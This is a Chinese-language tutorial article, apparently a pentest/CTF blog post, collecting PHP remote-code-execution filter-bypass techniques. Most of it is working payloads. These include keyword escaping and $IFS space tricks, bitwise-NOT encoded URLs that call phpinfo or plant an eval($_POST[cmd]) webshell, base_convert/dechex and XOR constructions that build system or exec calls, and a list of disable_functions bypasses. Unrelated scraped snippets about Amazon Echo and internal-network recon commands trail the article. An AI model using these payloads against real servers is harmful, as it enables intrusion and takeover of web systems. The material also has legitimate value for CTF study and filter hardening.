<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    干貨分享 | RCE常見的Bypass思路

    一顆小胡椒2022-08-10 07:21:31

    在滲透或者CTF中,總會有特殊函數被過濾,如'ls、cat、tac'。

    防火墻將這些函數加入黑名單,我們需要找一些方法來代替,用fuzz給他們替換,就出現了BYpass思路。

    這里總結了RCE常見的Bypass思路

    學習就是先走一回別人的老路,知識點到量才可以開創自己的新路。

    一、RCE漏洞

    遠程代碼執行漏洞,可以讓攻擊者直接向后臺服務器遠程注入操作系統命令或者代碼,從而控制后臺系統。

    原理:服務器沒有對執行命令的函數進行過濾,導致命令被執行。

    二、常見的命令執行函數

    PHP代碼執行函數

    eval()
    assert()
    preg_replace()
    create_function()
    call_user_func()
    file_get_contents():將整個文件讀入一個字符串
    readfile():讀取文件并寫入到輸出緩沖
    scandir():列出指定路徑中的文件和目錄
    direname():給出一個包含有指向一個文件的全路徑的字符串,本函數返回去掉文件名后的目錄名
    getcwd():取得當前工作目錄
    chdir($directory):將 PHP 的當前目錄改為 directory
    get_defined_vars():獲取一個環境變量的值
    phpversion():獲取當前的PHP版本
    chr():返回指定的字符
    rand():產生一個隨機整數
    time():返回當前的 Unix 時間戳
    localtime():取得本地時間
    localtime(time()) 返回一個數組,Array [0] 為一個 0~60 之間的數字
    hex2bin():轉換十六進制字符串為二進制字符串
    ceil():進一法取整
    sinh():雙曲正弦
    cosh():雙曲余弦
    tan():正切
    floor():舍去法取整
    sqrt():平方根
    crypt():單向字符串散列hebrevc:將邏輯順序希伯來文(logical-Hebrew)轉換為視覺順序希伯來文(visual-Hebrew),并且轉換換行符
    ord:返回字符串的第一個字符的 ASCII 碼
    

    命令執行函數

    eval()、system()、shell_exec()、popen()、proc_popen()、passthru()、pcntl_exec()
    

    三、繞過方式

    過濾關鍵字,如cat、more

    1.替換法

    使用同意思字符串代替

    more:一頁一頁的顯示檔案內容
    less:與 more 類似
    head:查看頭幾行
    tac:從最后一行開始顯示,可以看出 tac 是 cat 的反向顯示
    tail:查看尾幾行
    nl:顯示的時候,順便輸出行號
    sort:可以查看
    

    2.進行轉義

    cat flag ->ca\t fl\ag
    cat  flag -> ca"t flag 
    cat flag -> ca't flag
    

    3.進行拼接

    a=fl;b=ag;cat$IFS$a$b
    

    4.空變量$*和$@,$x,${x}繞過

    5.反引號繞過

    `command`
    

    6.Base64編碼繞過

    7.RE繞過

    過濾命令執行函數,如system

    1.借助其他的函數

    echo
    system()
    passthru()
    exec()
    shell_exec()
    popen()
    proc_open()
    pcntl_exec()
    highlight_file()
    反引號 同shell_exec()
    

    2.URL編碼繞過

    base64
    hex
    oct
    

    3.內斂繞過

    echo `ls`;
    echo $(ls);
    ?><?=`ls`;
    ?><?=$(ls);
    

    過濾文件讀取

    繞過

    curl file:///flag
    strings flag
    uniq -c flag
    bash -v flag
    rev flag
    

    過濾空格

    <> (cat<>flag)
    %20(space)
    %09(tab) (cat%09flag.php)
    $IFS$9
    ${IFS}
    $IFS
    (cat,flag)
    

    過濾目錄分隔符

    1.多管道命令繞過

    127.0.0.1||cat%20flag.php

    過濾分隔符

    ; //分號
    | //執行右邊命令
    || //執行前面命令
    & //都執行
    

    IP進制繞過

    ip地址過濾可將IP地址轉化為數字IP地址

    IP地址用“點分十進制”表示,用“.”分成4部分;數字地址是一串用“十進制”表示的數字
    比如:百度的IP地址“39.156.69.79”轉換成數字地址就是“664552783”。在瀏覽器中輸入664552783就可以訪問百度網站
    轉化網址:http://www.msxindl.com/tools/ip/ip_num.asp
    

    四、一些騷操作

    RCE進行無數字字母繞過

    echo urlencode(~'phpinfo').'<br />'; //得到%8F%97%8F%96%91%99%90
    echo urlencode(~'assert').'<br />'; //得到%9E%8C%8C%9A%8D%8B
    //assert();
    echo urlencode(~'(eval($_POST[cmd]))'); //得到%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6
    ?>
    ?code=(~%8F%97%8F%96%91%99%90)(); //列出phpinfo
    ?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6); //上傳一句話馬
    

    disable_function繞過總結

    常規繞過:exec,shell_exec,system,passthru,popen,proc_open
    利用環境變量LD_PRELOAD繞過(★):mail,imap_mail,error_log,mb_send_mail
    利用pcntl_exec繞過利用imap_open函數任意命令執行(CVE-2018-19518)
    利用系統組件window com繞過利用Apache+mod_cgi+.htaccess繞過
    利用ImageMagick漏洞繞過利用PHP7.4的FFI繞過
    利用 ShellShock繞過(CVE-2014-6271)
    蟻劍插件
    

    '數學'RCE

    1.利用數學函數來運算得到函數名和命令,使用動態函數來執行命令

    index.php?c=base_convert('37907361743',10,36)dechex('1598506324');($$pi){pi}(($$pi){abs})&pi=system&abs=<command>
    hex2bin(_GET)  -> base_convert('37907361743',10,36)dechex('1598506324'); dechex("1598506324")->5f474554
    ($$pi){pi}(($$pi){abs})&pi=system&abs=<command> -> ($_GET){pi}($_GET){abs}  //{}可以代替[]
    

    2.拼湊出getallheaders利用HeaderRCE

    getallheaders — 獲取全部 HTTP 請求頭信息

    /index.php?c=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
    

    在HTTP請求的Header中直接添加命令即可

    base_convert(696468,10,36) => "exec"
    $pi(8768397090111664438,10,30) => "getallheaders"
    exec(getallheaders(){1})
    //操作xx和yy,中間用逗號隔開,echo都能輸出
    echo xx,yy
    

    3.拼湊出exec、system等命令執行函數直接RCE

    /index.php?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
    //分析:exec('hex2bin(dechex(109270211257898))') => exec('cat f*')
    /index.php?c=base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
    //分析:system('cat'.dechex(16)^asinh^pi) => system('cat *')
    

    4.異或

    <?php
    $payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    for($k=1;$k<=sizeof($payload);$k++){
    	for($i = 0;$i < 9; $i++){
        	for($j = 0;$j <=9;$j++){
           	 $exp = $payload[$k] ^ $i.$j;
           	 echo($payload[$k]."^$i$j"."==>$exp");
           	 echo "<br />";
    }
    }
    }
    

    /index.php?c=$pi=(is_nan^(6).(4)).(rand^(7).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /f*
    

    參考

    https://cloud.tencent.com/developer/article/1599149
    https://xz.aliyun.com/t/8354
    https://blog.csdn.net/xiaofengdada/article/details/122614693

    聲明:本公眾號所分享內容僅用于網安愛好者之間的技術討論,禁止用于違法途徑,所有滲透都需獲取授權!否則需自行承擔,本公眾號及原作者不承擔相應的后果.

    echo
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    研究人員警告用戶不要從第三方零售商處購買智能揚聲器,并建議他們按下Echo的靜音按鈕,以實際禁用麥克風。作為對MWR調查結果的回應,亞馬遜發布了一份聲明,稱用戶保護自己免受此類篡改的最佳方式始終是直接從該公司購買Echo。擁有2017款設備的用戶不會受到這一最新黑客攻擊的影響,因為新機型引入了一種緩解措施,以防止設備外部啟動的方式連接了兩個關鍵的調試板。
    柯林斯于去年11月21日在阿肯色州本頓維爾拜訪他的同事貝茨家時去世。第二天早上,科林斯的尸體在一個熱水浴缸里被發現,貝茨被指控犯有一級謀殺罪。據推測,當局認為Echo設備可能在事件當晚拾取并上傳到亞馬遜服務器的音頻記錄可能包含與正在調查的案件有關的證據。檢方聲稱,在他殺死柯林斯后,這些水被用來沖走證據。
    Ethyrial: Echoes of Yore是由獨立游戲發行商Gellyberry Studios開發的一款大型多人在線角色扮演游戲(MMORPG),該游戲的主服務器遭受勒索軟件攻擊,攻擊者加密了所有數據,包括本地備份驅動器,并要求支付贖金以獲取解密密鑰。該游戲開發商不相信支付贖金能夠獲得解密密鑰,因此他們決定手動恢復所有受影響的系統。此次事件影響了該游戲的17000個玩家賬號,導致這些賬號在
    systeminfo | findstr /B /C:"OS Name" /C:"OS Version". systeminfo | findstr /B /C:"OS 名稱" /C:"OS 版本" #中文操作系統。schtasks /query /fo LIST /v #query顯示所有計劃任務。
    英國皇家霍洛威大學和意大利卡利亞里大學的研究人員發現可利用亞馬遜智能音箱 Amazon Echo 自己的揚聲器發出語音命令,迫使其打開門,撥打電話和進行未經授權的購買,以及控制其它智能電器。研究人員發現,在喚醒詞之后緊跟著一個可執行的命令,Amazon Echo 就會執行它,執行敏感命令需要口頭確認,但只要在發出命令 6 秒后加上 yes 就能繞過。這一攻擊被研究人員稱為 Alexa vs. Al
    訪問http://ip:9200 檢查elasticsearch是否正常啟動NO.2 安裝kibanaapt-get install kibanaserver.host: "ip"service elasticsearch start
    RCE系統交互條件與受限環境下的利用
    shell編程15例(一)
    2022-03-23 07:53:04
    1、編寫hello world腳本 #!/bin/bash # 編寫hello world腳本 echo "Hello World!" 2、通過位置變量創建 Linux 系統賬戶及密碼 #!/bin/bash # 通過位置變量創建 Linux 系統賬戶及密碼
    內網滲透之內網信息查看常用命令
    顧名思義,無需將惡意文件傳到目標服務器/機器上,直接利用powershell的特性加載到內存執行。為了在紅隊行動中更隱蔽的實施攻擊以及橫向移動,同時還可以解決目標不出網只能通過dns上線時的棘手問題,利用powershell可以避免一行行echo
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类